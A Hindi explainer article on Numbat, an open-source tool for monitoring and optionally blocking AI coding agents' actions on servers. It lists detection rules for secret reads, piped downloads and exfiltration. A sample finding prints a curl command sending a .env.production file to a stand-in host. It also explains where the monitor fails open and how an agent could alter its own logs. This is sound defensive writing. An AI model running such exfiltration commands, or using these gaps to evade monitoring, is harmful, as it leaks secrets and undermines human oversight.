Numbat क्या है और AI agents को कैसे ट्रैक करें
Perplexity के open source tool Numbat के बारे में जानें। यह आपके सर्वर पर AI coding agents की गतिविधियों को ट्रैक करता है और संदिग्ध कमांड्स पर अलर्ट देता है।
Numbat क्या है
Numbat आपको यह देखने की सुविधा देता है कि आपके द्वारा नियंत्रित मशीन पर एक AI agent ने क्या किया है। यह उन hook callbacks और session files को पढ़ता है जिन्हें coding agents पहले से ही generate करते हैं। यह उन्हें एक समान event format में normalise करता है और उन नियमों (rules) के आधार पर उनकी जाँच करता है जो SSH private key पढ़ने या किसी download को सीधे shell में pipe करने जैसी गतिविधियों पर trigger होते हैं। Perplexity ने इसे Apache 2.0 लाइसेंस के तहत open source के रूप में जारी किया है, और इसका पहला tagged release 29 July 2026 को आया था।
नीचे दी गई सभी जानकारी project के repository और उसके documentation से ली गई है, जिसे 2 August 2026 को पढ़ा गया था। release history, install requirements, record schema और agent coverage की दोबारा जाँच 12 October 2026 को repository के आधार पर की गई थी। जहाँ Perplexity कोई दावा करती है, यह लेख उसे स्पष्ट करता है। यह कोई install tutorial नहीं है, क्योंकि repository अभी नई है और इसके commands में बदलाव होते रहेंगे।
समस्या: किसी को यह नहीं पता होता कि एजेंट ने क्या किया
आपके VPS पर चलने वाला एक कोडिंग एजेंट shell commands चलाता है, फाइलें पढ़ता है, फाइलें लिखता है और network connections खोलता है। यह सब उसी user के रूप में होता है जिसे आपने उसे सौंपा है। आपकी shell history में इनमें से कुछ भी रिकॉर्ड नहीं होता, क्योंकि एजेंट आपकी shell में टाइप नहीं कर रहा है। sshd केवल आपके login को लॉग करता है और उसके बाद मॉडल द्वारा लिए गए किसी भी निर्णय को नहीं। /var/log/auth.log तब तक शांत रहता है जब तक कि कोई चीज़ sudo तक न पहुँच जाए। एजेंट अपनी खुद की transcript रखता है, लेकिन वह फाइल एजेंट की session directory में होती है, उसका फॉर्मेट software releases के बीच बदलता रहता है, और एजेंट की अपनी process उसमें लिख सकती है।
इसलिए जब कोई पूछता है कि क्या एजेंट ने पिछले मंगलवार को .env.production पढ़ा था, तो अधिकांश सर्वरों पर इसका ईमानदार जवाब यह है कि आप यह नहीं बता सकते। यही कमी इस प्रोजेक्ट के अस्तित्व का कारण है।
Perplexity का Numbat के बारे में क्या दावा है
README इस टूल का वर्णन "AI एजेंट गतिविधि की एंडपॉइंट विजिबिलिटी, लोकल डिटेक्शन, वैकल्पिक प्री-एक्शन ब्लॉकिंग और फॉरेंसिक रिकंस्ट्रक्शन" के रूप में करता है। यहाँ एंडपॉइंट का अर्थ उस मशीन से है जिस पर एजेंट चलता है, न कि बाहर से निगरानी करने वाले किसी नेटवर्क उपकरण से। ये अलग-अलग क्षमताएं हैं और इनका महत्व भी अलग है।
डिटेक्शन डिवाइस पर ही चलता है। नियम CEL (common expression language) में लिखे जाते हैं और स्थानीय रूप से इवैल्यूएट किए जाते हैं, जिसमें मल्टी-स्टेप सीक्वेंस रूल्स और YAML में अपने स्वयं के नियम जोड़ने का समर्थन शामिल है। नियम ट्रिगर होने के लिए मशीन से कुछ भी बाहर भेजने की आवश्यकता नहीं होती।
ब्लॉकिंग वैकल्पिक और सीमित है। यह केवल सिंक्रोनस प्री-एक्शन हुक के माध्यम से काम करती है, उन एजेंटों पर जो इसे एक्सपोज़ करते हैं, और यह तब तक बंद रहती है जब तक आप इसे चालू नहीं करते।
रिकंस्ट्रक्शन घटना के बाद होता है। numbat scan उन सेशन आर्टिफैक्ट्स को पार्स करता है जिन्हें एजेंट पहले ही डिस्क पर लिख चुका है, ताकि आप कुछ भी इंस्टॉल करने से पहले की गतिविधि देख सकें। प्रोजेक्ट इस दावे को सीमित रखने के प्रति सतर्क है: "एट-रेस्ट रिकंस्ट्रक्शन डिस्क या मेमोरी एक्विजिशन नहीं है और यह उस गतिविधि को रिकवर नहीं कर सकता जिसे एजेंट ने परसिस्ट नहीं किया था।"
आउटपुट वर्शन्ड NDJSON (newline delimited JSON) है जो इवेंट्स, फाइंडिंग्स, एनफोर्समेंट डिसीजन्स, इंडिकेटर्स और स्कैन समरी को कवर करता है, जो v0.1.2 के अनुसार schema version 0.2.0 पर है। स्कीमा तब से बदल गया है: 12 अक्टूबर 2026 को रिपॉजिटरी में schema versions 0.2.0, 0.3.0 और 0.4.0 मौजूद थे, और README के रिकॉर्ड उदाहरणों में 0.4.0 दिखाया गया था। रिकॉर्ड stdout या लोकल फाइल पर जाते हैं, और वैकल्पिक रूप से HTTP के माध्यम से आपके द्वारा चलाए जा रहे कलेक्टर पर भेजे जा सकते हैं। यह macOS, Linux और Windows के लिए amd64 और arm64 पर बिना cgo के बिल्ड की गई एक सिंगल स्टैटिक Go बाइनरी के रूप में आता है, इसलिए Linux VPS पर यह बिना किसी रनटाइम को पहले इंस्टॉल किए एक सिंगल फाइल के रूप में चलता है।
Numbat वास्तव में किन agents को देख सकता है?
docs/agent-coverage.md में दिया गया coverage matrix आधिकारिक सूची है, और यह असमान है। यह प्रोजेक्ट इसे छिपाने के बजाय स्पष्ट रूप से बताता है। Claude Code, Codex, Gemini CLI, Cursor और GitHub Copilot CLI में artifact scanning और pre-action hook के साथ live capture, दोनों उपलब्ध हैं। OpenClaw को 2026.7.1 संस्करण से एक native plugin मिलता है। कई entries को deferred के रूप में चिह्नित किया गया है, जिसका अर्थ है कि live hook path तो मौजूद है लेकिन artifact parser नहीं है। ऐसा अक्सर इसलिए होता है क्योंकि वह agent अपना इतिहास SQLite में एक write-ahead log के साथ store करता है, जिसे agent के चलने के दौरान पढ़ना सुरक्षित नहीं है। Cline CLI इसी समूह में आता है: इसके live hooks काम करते हैं, लेकिन इसके SQLite sessions को parse नहीं किया जाता है। OpenCode एक विभाजित मामला है। v0.1.2 matrix इसके पुराने JSON stores को parse करता है और केवल वर्तमान opencode.db database को ही defer करता है। यह OpenCode के लिए किसी pre-action enforcement को सूचीबद्ध नहीं करता है, और 12 October 2026 को main branch पर मौजूद matrix भी इसी तरह पढ़ा जा रहा था।
इस tool के साथ कुछ भी योजना बनाने से पहले अपने agent के लिए row की जाँच करें, क्योंकि "supported" का अर्थ लगभग हर line पर अलग होता है।
डिटेक्शन कैसा दिखता है
Rules में ids होती हैं जो बताती हैं कि वे किस उद्देश्य के लिए हैं। secrets.read_private_key में SSH key, AWS credentials, kube config या package registry login शामिल हैं। exec.download_pipe_shell तब ट्रिगर होता है जब curl या wget का आउटपुट किसी interpreter में पाइप किया जाता है। privilege.elevated_shell, sudo, doas, su या pkexec के माध्यम से interactive root shell के अनुरोध को पकड़ता है। impact.cryptomining_launch ज्ञात miner binaries और image names से मेल खाता है।
Sequence rules एक ही session के भीतर events को जोड़ते हैं। chain.secret_read_then_egress के लिए एक secret file को पढ़ना और उसके बाद डेटा को बाहर भेजने वाली एक command का चलना आवश्यक है। README नीचे दिए गए निष्कर्ष को दो Claude Code pre-action callbacks के नियंत्रित रिप्ले से प्रकाशित करता है, न कि किसी वास्तविक incident से। इसे यहाँ केवल महत्वपूर्ण fields तक सीमित रखा गया है:
{
"record_type": "finding",
"rule_id": "chain.secret_read_then_egress",
"rule_version": "1.4",
"severity": "high",
"confidence": "medium",
"title": "Secret-file access followed by data-bearing egress",
"observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
"source_agent": "claude-code",
"source_type": "hook",
"tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}रिकॉर्ड के भीतर मौजूद "confidence": "medium" पर ध्यान दें, और इस बात पर गौर करें कि प्रोजेक्ट आउटपुट के इस पूरे वर्ग के बारे में क्या कहता है: "Findings नियम के मिलान हैं, न कि compromise का प्रमाण।" एक deploy script जो एक key को पढ़ती है और फिर एक build artifact अपलोड करती है, वह उसी sequence rule से मेल खाएगी। मिलान सही है और अलार्म गलत है, जो आपके द्वारा चलाए गए हर डिटेक्शन टूल की सामान्य स्थिति है।
Blocking डिफ़ॉल्ट रूप से बंद है, और यह fail-open मोड में काम करता है
Numbat द्वारा प्रदान किया गया प्रत्येक नियम केवल monitor मोड में होता है। किसी नियम को block मोड में बदलना एक जानबूझकर किया गया कार्य है: नियम के पूर्ण YAML को अपनी डायरेक्टरी में कॉपी करें, समान id बनाए रखें, enforce: true जोड़ें, version को बढ़ाएं, और फिर उस policy को validate करके install करें।
numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
--rules-dir ./numbat-policy --enforceअब उस हिस्से पर आते हैं जो यह तय करता है कि आपको इस पर कितना भरोसा करना चाहिए। Numbat का deny एक response है जो agent को वापस भेजा जाता है, और agent ही वह घटक है जो वास्तव में tool call को अस्वीकार करता है। enforcement guide इस बारे में स्पष्ट है कि जब Numbat में कोई समस्या आती है तो क्या होता है: "Malformed payloads, relevant evaluation errors, panics, और output failures, numbat deny को दबा देते हैं।" Hook input की सीमा 4 MiB है, और इससे बड़े input के साथ भी यही प्रक्रिया अपनाई जाती है।
यह guide उस deny की सीमा के बारे में भी समान रूप से स्पष्ट है जो सफलतापूर्वक लागू होता है: "Fail-open का अर्थ है कि numbat अपना deny response नहीं भेजता है। यह इस बात की गारंटी नहीं देता है कि tool execute होगा: host अभी भी prompt कर सकता है, deny कर सकता है, time out हो सकता है, या कोई अन्य hook या policy लागू कर सकता है।"
इसलिए, यहाँ enforcement एक guardrail है, न कि कोई boundary। यदि process क्रैश हो जाती है, तो Numbat द्वारा action को block नहीं किया जाता है, क्योंकि जो monitor आपके agent को हर बार समस्या आने पर freeze कर देता है, उसे एक सप्ताह के भीतर uninstall कर दिया जाएगा। यह समझौता उचित है। बस ऐसा security model न बनाएं जो यह मान ले कि deny हमेशा प्राप्त होगा।
Numbat आपके मौजूदा कार्यों के साथ कैसे फिट बैठता है
Numbat एंडपॉइंट पर, एजेंट के अपने प्रोसेस ट्री के अंदर चलता है, और डिफ़ॉल्ट रूप से ~/.numbat/records.ndjson में लिखता है। आपके उपयोगकर्ता के रूप में चलने वाला एजेंट उस फ़ाइल को पढ़ सकता है। वह उसे संपादित भी कर सकता है। ऑडिट ट्रेल का मूल्य उतना ही है जितनी उसके चारों ओर की आइसोलेशन (अलगाव), जो आपके पास मौजूद हर नियंत्रण को इसके पीछे रखने के बजाय इसके सामने रखता है।
कोडिंग एजेंट को एक डिस्पोजेबल VM देना यह सीमित करता है कि एक खराब रन कहाँ तक पहुँच सकता है। VPS पर एक लीस्ट प्रिविलेज उपयोगकर्ता एजेंट को उन फ़ाइलों से दूर रखता है जिन्हें खोलने का उसका कोई काम नहीं है। एजेंट के कॉन्टेक्स्ट से क्रेडेंशियल्स को बाहर रखना ही वह चीज़ है जो secrets.read_private_key मैच को इतना दुर्लभ बनाती है कि ट्रिगर होने पर उसे पढ़ना सार्थक हो जाता है। और VPS पर Claude Code के लिए आपके द्वारा सेट किया गया सैंडबॉक्स अभी भी वही चीज़ है जो कंटेनमेंट (नियंत्रण) कर रही है। कंटेनमेंट यह सीमित करता है कि एक खराब रन क्या छू सकता है, जबकि कोड जिस तरह से आकार लिया गया है उसका कारण लिखना इस बात को कम करता है कि एजेंट कितनी बार कुछ ऐसा आश्चर्यजनक करता है जो आपको लॉग देखने के लिए मजबूर करे।
Numbat जो जोड़ता है वह रिकॉर्ड है, इसलिए रिकॉर्ड को कहीं ऐसी जगह भेजें जहाँ एजेंट पहुँच न सके। numbat ship और HTTP सिंक इसी उद्देश्य के लिए मौजूद हैं। दूसरी मशीन पर स्ट्रीम की एक कॉपी होना ही लॉग फ़ाइल और सबूत के बीच का अंतर है। इवेंट मॉडल में MCP (मॉडल कॉन्टेक्स्ट प्रोटोकॉल) फ़ील्ड भी होते हैं, इसलिए VPS पर आपके द्वारा होस्ट किए गए MCP सर्वर के माध्यम से बाहर जाने वाली टूल कॉल उसी स्ट्रीम में आती हैं जहाँ लोकल शेल कमांड्स आती हैं। यह महत्वपूर्ण है क्योंकि वह रास्ता केवल bash पर नज़र रखने वाली किसी भी चीज़ के लिए अदृश्य होता है। यही ब्लाइंड स्पॉट एजेंट के सर्च बैकएंड के रूप में जुड़े SearXNG इंस्टेंस को भी कवर करता है, जहाँ जोखिम मॉडल के कॉन्टेक्स्ट में जाने वाले अविश्वसनीय पेज टेक्स्ट के रूप में आता है, न कि किसी ऐसे कमांड के रूप में जिसे कोई नियम मैच कर सके।
पहले read-only मोड में चलाकर देखें
एक pinned version इंस्टॉल करें। नीचे दी गई कमांड v0.1.2 को पिन करती है, जिसके README के अनुसार Go 1.26.5 या उससे नया वर्ज़न आवश्यक है। main branch के README में 12 अक्टूबर 2026 को Go 1.26.6 या उससे नए वर्ज़न की मांग की गई थी, जो v0.2.0 के साथ आया था, इसलिए यदि आप किसी नए tag को पिन करते हैं तो 1.26.6 का उपयोग करें। यदि आप source से build नहीं करना चाहते हैं, तो releases पेज पर SHA-256 checksums के साथ prebuilt binaries उपलब्ध हैं।
go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scannumbat agents बॉक्स पर इंस्टॉल किए गए agents का पता लगाता है। numbat scan डिस्क पर पहले से मौजूद session artifacts को parse करता है और records प्रिंट करता है। README में लिखा है कि ये कमांड्स "hooks इंस्टॉल नहीं करतीं या agent configuration में कोई बदलाव नहीं करतीं", और numbat "artifacts में मिले agents या कमांड्स को कभी execute नहीं करता है, और यह केवल कॉन्फ़िगर किए गए HTTP sinks को ही outbound requests भेजता है"। स्कैनिंग read-only होती है और इसमें secrets को redact कर दिया जाता है, साथ ही सामान्य record output में कभी भी पूरा raw transcript शामिल नहीं होता है।
Live capture अगला चरण है, और यह agent configuration को बदलता है:
numbat hook install --agent codex --emit all
numbat hook status --agent codex--emit all events, findings, indicators और लागू किए गए enforcement decisions को ~/.numbat/records.ndjson में लिखता है। प्रोजेक्ट की ओर से दो सावधानियां दी गई हैं। Hooks को चलने से पहले agent के भीतर trust किया जाना आवश्यक हो सकता है, और --enforce जैसे flags बदलने के बाद उस trust की दोबारा समीक्षा की जानी चाहिए। और hook status "configuration को सत्यापित करता है, execution या delivery को नहीं", इसलिए एक healthy status line इस बात का प्रमाण नहीं है कि records कहीं पहुँच रहे हैं।
यह नया रिपॉजिटरी एक dependency क्यों नहीं है
12 October 2026 तक, public releases में 29 July 2026 को v0.1.1, 1 August 2026 को v0.1.2 और 17 August 2026 को v0.2.0 शामिल हैं, जिन्हें releases page पर latest के रूप में चिह्नित किया गया है। जब यह पोस्ट 2 August 2026 को लिखी गई थी, तब रिपॉजिटरी में 597 stars थे। इतनी तेजी से बढ़ती संख्या Perplexity के दर्शकों को दर्शाती है, न कि यह कि कोड कितना स्थिर है। एक star का मतलब है कि किसी ने बाद में देखने के लिए पेज को save किया है।
version number इस बात के प्रति ईमानदार है कि यह कहाँ स्थित है। v0.1.2 के notes मुख्य रूप से credential redaction fixes, case bundle और telemetry normalisation के काम के बारे में हैं। v0.2.0 के notes में bounded message content capture, beforeReadFile hook के माध्यम से Cursor read-file enforcement, और अधिक redaction fixes जोड़े गए हैं। Redaction bugs ऐसे टूल में शुरुआती खामियों का अपेक्षित स्वरूप हैं, जिसका काम अन्य प्रोग्राम्स के transcripts को सुरक्षित रूप से पढ़ना है, और इनमें अभी और भी सुधार होंगे, क्योंकि inputs उन दर्जन भर agents से आते हैं जो अपने-अपने schedule पर अपना format बदलते रहते हैं।
इसके बाद दो व्यावहारिक नियम आते हैं। किसी भी ऐसी चीज़ में जिसे आप बनाए रखते हैं, tag को pin करें, कभी भी @latest न करें। और इसे एक ऐसे उपकरण के रूप में मानें जिसका आप मूल्यांकन कर रहे हैं, न कि एक ऐसे control के रूप में जिस पर आप निर्भर हैं, कम से कम तब तक जब तक कि record schema में बदलाव बंद न हो जाए। यह अभी तक बंद नहीं हुआ है: यह लगभग दस सप्ताह के भीतर v0.1.2 पर 0.2.0 से बढ़कर main पर README में 0.4.0 हो गया है।
FAQ
क्या Numbat खतरनाक AI agent commands को रोकता है?
केवल तभी, यदि आप इसे चुनते हैं, और वह भी सर्वोत्तम प्रयास (best effort) के आधार पर। Numbat द्वारा जारी किया गया प्रत्येक नियम केवल monitor करने के लिए होता है। ब्लॉक करने के लिए, आप नियम के YAML को अपनी डायरेक्टरी में कॉपी करें, उसकी id को बनाए रखें, enforce: true जोड़ें, version को बढ़ाएं, और --enforce के साथ hook को install करें। तब भी, deny एक response है जिसे agent को वापस भेजा जाता है, और agent ही वह है जो call को अस्वीकार करता है। प्रोजेक्ट fail-open व्यवहार का दस्तावेजीकरण करता है: malformed payloads, evaluation errors, panics और output failures सभी deny को suppress कर देते हैं। इसे एक guardrail के रूप में उपयोग करें, न कि अपनी एकमात्र सीमा के रूप में।
Numbat किन AI agents को support करता है?
coverage हर agent के अनुसार अलग है और repository में docs/agent-coverage.md में सूचीबद्ध है। 2 अगस्त 2026 को उस पेज को पढ़ने पर Claude Code, Codex, Gemini CLI, Cursor और GitHub Copilot CLI में artifact scanning और live capture दोनों उपलब्ध थे, और OpenClaw में version 2026.7.1 से native plugin है। कई अन्य agents को live hook path के साथ सूचीबद्ध किया गया है लेकिन अभी तक कोई artifact parser नहीं है, आमतौर पर इसलिए क्योंकि उनका session history एक SQLite database में होता है जिसे agent के चलने के दौरान पढ़ना सुरक्षित नहीं है। अपने agent के लिए row पढ़ें, क्योंकि "supported" शब्द वहां कई अलग-अलग स्तरों को कवर करता है।
क्या agent Numbat के records के साथ छेड़छाड़ कर सकता है?
हाँ, यदि वह उसी user के रूप में चलता है। records डिफ़ॉल्ट रूप से उसी मशीन पर ~/.numbat/records.ndjson में होते हैं जहाँ agent चलता है, इसलिए उस path पर write access रखने वाली कोई भी चीज़ उन्हें बदल या हटा सकती है। stream को एक ऐसे collector तक भेजें जहाँ तक agent न पहुँच सके, numbat ship या HTTP sink का उपयोग करके, और local file को केवल सुविधा के लिए एक copy के रूप में रखें। यही कारण है कि यह tool isolation का पूरक है, न कि उसका विकल्प। एक disposable VM में least privilege user के तहत सीमित agent की अपनी audit trail तक पहुँच बहुत कम होती है।
क्या Numbat production server के लिए तैयार है?
उस control के रूप में नहीं जिस पर आप निर्भर हैं। पहला public release 29 जुलाई 2026 को v0.1.1 था, 1 अगस्त 2026 को v0.1.2 और 17 अगस्त 2026 को v0.2.0 आया, और 12 अक्टूबर 2026 तक README में record schema 0.4.0 तक पहुँच गया था, इसलिए flags और record schema दोनों अभी भी बदल रहे हैं। किसी box पर numbat agents और numbat scan चलाना read-only है और कम जोखिम वाला है, और यह आपको बताएगा कि आपके agents disk पर क्या छोड़ रहे हैं। महत्वपूर्ण सर्वर पर enforcement hooks install करना एक अलग निर्णय है, और इसके लिए एक pinned tag और इस बात की योजना होनी चाहिए कि hook के गलत व्यवहार करने पर क्या होगा।